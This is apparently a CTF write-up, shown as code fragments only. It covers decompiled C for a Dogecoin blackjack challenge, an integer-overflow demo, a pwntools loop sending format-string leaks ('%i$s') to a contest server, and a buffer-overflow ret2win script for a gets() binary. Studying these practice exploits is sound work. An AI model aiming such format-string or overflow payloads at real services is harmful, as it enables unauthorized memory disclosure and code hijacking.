1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  unsigned int seed; // eax
4
  int dogeCoin; // [rsp+8h] [rbp-88h] BYREF
5
  int choice; // [rsp+Ch] [rbp-84h] BYREF
6
  _DWORD betAmount[2]; // [rsp+10h] [rbp-80h] BYREF
7
  FILE *stream; // [rsp+18h] [rbp-78h]
8
  char s[104]; // [rsp+20h] [rbp-70h] BYREF
9
  unsigned __int64 v10; // [rsp+88h] [rbp-8h]
10

11
  v10 = __readfsqword(0x28u);
12
  setup();
13
  seed = time(0LL);
14
  srand(seed);
15
  initDeck();
16
  dogeCoin = 1000;
17
  while ( 2 )
18
  {
19
    printf("\x1B[34m\n--- Black Jack Menu ---\n\x1B[0m");
20
    puts("1) Play Black Jack");
21
    puts("2) Buy Flag (Cost: 99999999 Dogecoins)");
22
    puts("3) Check Balance");
23
    puts("4) Show Deck Info");
24
    puts("5) Exit");
25
    printf("Your choice: ");
26
    __isoc99_scanf("%d", &choice);
27
    switch ( choice )
28
    {
29
      case 1:
30
        printf("Enter your bet: ");
31
        __isoc99_scanf("%d", betAmount);
32
        if ( betAmount[0] > dogeCoin )
33
          goto LABEL_4;
34
        dogeCoin -= betAmount[0];
35
        playBlackjack(betAmount, &dogeCoin);
36
        betAmount[1] = betAmount[0];
37
        dogeCoin += betAmount[0];
38
        goto LABEL_15;
39
      case 2:
40
        if ( dogeCoin <= 99999998 )
41
        {
42
LABEL_4:
43
          printf("\x1B[31mNot enough Dogecoins! You have %d.\n\x1B[0m", dogeCoin);
44
LABEL_15:
45
          if ( deckPos > 155 )
46
          {
47
            printf("\x1B[33m\nHalf of the shoe has been played. Reshuffling the deck...\n\x1B[0m");
48
            initDeck();
49
          }
50
          continue;
51
        }
52
        printf("\x1B[32mYou purchased the flag!\n\x1B[0m");
53
        stream = fopen("flag.txt", "r");
54
        if ( stream )
55
        {
56
          fgets(s, 100, stream);
57
          printf("\x1B[35m%s\n\x1B[0m", s);
58
          fclose(stream);
59
          goto LABEL_15;
60
        }
61
        printf("\x1B[31mFlag file not found!\n\x1B[0m");
62
        return 1;
63
      case 3:
64
        printf("You have \x1B[33m%d\x1B[0m Dogecoins.\n", dogeCoin);
65
        goto LABEL_15;
66
      case 4:
67
        printf("\x1B[33mCards played: %d\nRemaining cards: %d\n\x1B[0m", deckPos, 312 - deckPos);
68
        goto LABEL_15;
69
      case 5:
70
        puts("Goodbye!");
71
        return 0;
72
      default:
73
        puts("Invalid choice.");
74
        goto LABEL_15;
75
    }
76
  }
77
}

1
      case 1:
2
        printf("Enter your bet: ");
3
        __isoc99_scanf("%d", betAmount);
4
        if ( betAmount[0] > dogeCoin )
5
          goto LABEL_4;
6
        dogeCoin -= betAmount[0];
7
        playBlackjack(betAmount, &dogeCoin);
8
        betAmount[1] = betAmount[0];
9
        dogeCoin += betAmount[0];
10
        goto LABEL_15;

1
__int64 __fastcall playBlackjack(_DWORD *betAmount, _DWORD *playerDogeCoinPtr)
2
{
3
  char n104; // [rsp+17h] [rbp-19h] BYREF
4
  int playerTotal; // [rsp+18h] [rbp-18h]
5
  int dealerTotal; // [rsp+1Ch] [rbp-14h]
6
  int v6; // [rsp+20h] [rbp-10h]
7
  int RandomCard; // [rsp+24h] [rbp-Ch]
8
  unsigned __int64 v8; // [rsp+28h] [rbp-8h]
9

10
  v8 = __readfsqword(0x28u);
11
  playerTotal = getRandomCard();
12
  dealerTotal = getRandomCard();
13
  playerTotal += getRandomCard();
14
  dealerTotal += getRandomCard();
15
  printf("\nDealer shows: \x1B[36m%d\x1B[0m\n", dealerTotal);
16
  printf("Your total: \x1B[32m%d\x1B[0m\n", playerTotal);
17
  while ( 1 )
18
  {
19
    if ( playerTotal > 21 )
20
    {
21
      printf("\x1B[31mBust! You lose.\n\x1B[0m");
22
      *playerDogeCoinPtr -= *betAmount;
23
      return 0LL;
24
    }
25
    printf("Hit (h) or Stand (s)? ");
26
    __isoc99_scanf(" %c", &n104);
27
    if ( n104 != 104 )
28
      break;
29
    RandomCard = getRandomCard();
30
    playerTotal += RandomCard;
31
    printf("You drew %d, total = \x1B[32m%d\x1B[0m\n", RandomCard, playerTotal);
32
  }
33
  printf("\x1B[33m\nDealer's turn...\n\x1B[0m");
34
  printf("Dealer's initial total: \x1B[36m%d\x1B[0m\n", dealerTotal);
35
  while ( dealerTotal <= 16 )
36
  {
37
    v6 = getRandomCard();
38
    dealerTotal += v6;
39
    printf("Dealer drew %d, total = \x1B[36m%d\x1B[0m\n", v6, dealerTotal);
40
  }
41
  printf("Dealer's total: \x1B[36m%d\x1B[0m\n\n", dealerTotal);
42
  if ( dealerTotal <= 21 )
43
  {
44
    if ( playerTotal <= dealerTotal )
45
    {
46
      if ( playerTotal >= dealerTotal )
47
      {
48
        printf("It's a tie! %d vs %d\n", playerTotal, dealerTotal);
49
      }
50
      else
51
      {
52
        printf("\x1B[31mYou lose! Your total: %d | Dealer total: %d\n\x1B[0m", playerTotal, dealerTotal);
53
        *playerDogeCoinPtr -= *betAmount;
54
      }
55
    }
56
    else
57
    {
58
      printf("\x1B[32mYou win! Your total: %d | Dealer total: %d\n\x1B[0m", playerTotal, dealerTotal);
59
      *playerDogeCoinPtr += *betAmount;
60
    }
61
  }
62
  else
63
  {
64
    printf("\x1B[32mDealer busts! You win.\n\x1B[0m");
65
    *playerDogeCoinPtr += *betAmount;
66
  }
67
  return 0LL;
68
}

1
    if ( playerTotal > 21 )
2
    {
3
      printf("\x1B[31mBust! You lose.\n\x1B[0m");
4
      *playerDogeCoinPtr -= *betAmount;
5
      return 0LL;
6
    }

1
if ( betAmount[0] > dogeCoin )
2
  goto LABEL_4;
3
<...>
4
LABEL_4:
5
  printf("\x1B[31mNot enough Dogecoins! You have %d.\n\x1B[0m", dogeCoin);

1
#include <stdio.h>
2
#include <limits.h>
3

4
int main() {
5
    int a = INT_MAX; // Maximum value of int type
6
    int b = INT_MIN; // Minimum value of int type
7

8
    printf("Maximum value of int: %d\n", a);
9
    printf("Minimum value of int: %d\n", b);
10

11
    // Positive overflow
12
    a = a + 1;
13
    printf("After exceeding INT_MAX: %d\n", a);
14

15
    // Negative overflow
16
    b = b - 1;
17
    printf("After going below INT_MIN: %d\n", b);
18

19
    return 0;
20
}

1
alter ^ Sol in ~/CTFs/2025/EHCTF/blackjack
2
$ crun test.c
3
Checking security features of the compiled binary...
4
[*] '/home/alter/CTFs/2025/EHCTF/blackjack/test'
5
    Arch:       amd64-64-little
6
    RELRO:      Full RELRO
7
    Stack:      No canary found
8
    NX:         NX enabled
9
    PIE:        PIE enabled
10
    SHSTK:      Enabled
11
    IBT:        Enabled
12
    Stripped:   No
13
Maximum value of int: 2147483647
14
Minimum value of int: -2147483648
15
After exceeding INT_MAX: -2147483648
16
After going below INT_MIN: 2147483647

1
from pwn import *
2

3
context.log_level = 'error'
4

5
for i in range(1, 51):
6
    try:
7
        p = remote('challenge.ctf.ehc-fptu.club', 22909)
8
        p.sendlineafter(b'password:', f'%{i}$s'.encode())
9
        p.recvuntil(b'Checking your password:')
10
        leak = p.recvline().strip()
11
        print(f'Index {i} -> {leak}')
12
        p.close()
13
    except EOFError:
14
        p.close()

1
__int64 vuln()
2
{
3
  _BYTE v1[32]; // [rsp+0h] [rbp-20h] BYREF
4

5
  return gets(v1);
6
}

1
int _dl_relocate_static_pie()
2
{
3
  char s[104]; // [rsp+0h] [rbp-80h] BYREF
4
  char filename[8]; // [rsp+68h] [rbp-18h] BYREF
5
  FILE *stream; // [rsp+70h] [rbp-10h]
6
  unsigned int i; // [rsp+7Ch] [rbp-4h]
7

8
  *(_QWORD *)filename = 'uyu/f`mg';
9
  for ( i = 0; i <= 7; ++i )
10
    filename[i] ^= 1u;
11
  LOBYTE(stream) = 0;
12
  stream = fopen(filename, "r");
13
  if ( !stream )
14
    return puts("Flag file not found!");
15
  fgets(s, 100, stream);
16
  return puts(s);
17
}

1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwnie import *
4

5
context.log_level = 'debug'
6
exe = context.binary = ELF('./chall', checksec=False)
7
libc = exe.libc
8

9
def start(argv=[], *a, **kw):
10
    if args.GDB:
11
        return gdb.debug([exe.path] + argv, gdbscript='''
12

13
        b *vuln+31
14
        c
15
        '''.format(**locals()), *a, **kw)
16
    elif args.REMOTE:
17
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
18
    else:
19
        return process([exe.path] + argv, *a, **kw)
20

21
p = start()
22

23
# ==================== EXPLOIT ====================
24

25
def method2():
26

27
    pl = b'A'*offset + p64(0x0000000000401331) + p64(exe.sym.__dl_relocate_static_pie)
28

29
    sl(pl)
30

31
def exploit():
32

33
    global offset
34

35
    offset = 40
36
    method2()
37

38
    interactive()
39

40
if __name__ == '__main__':
41
  exploit()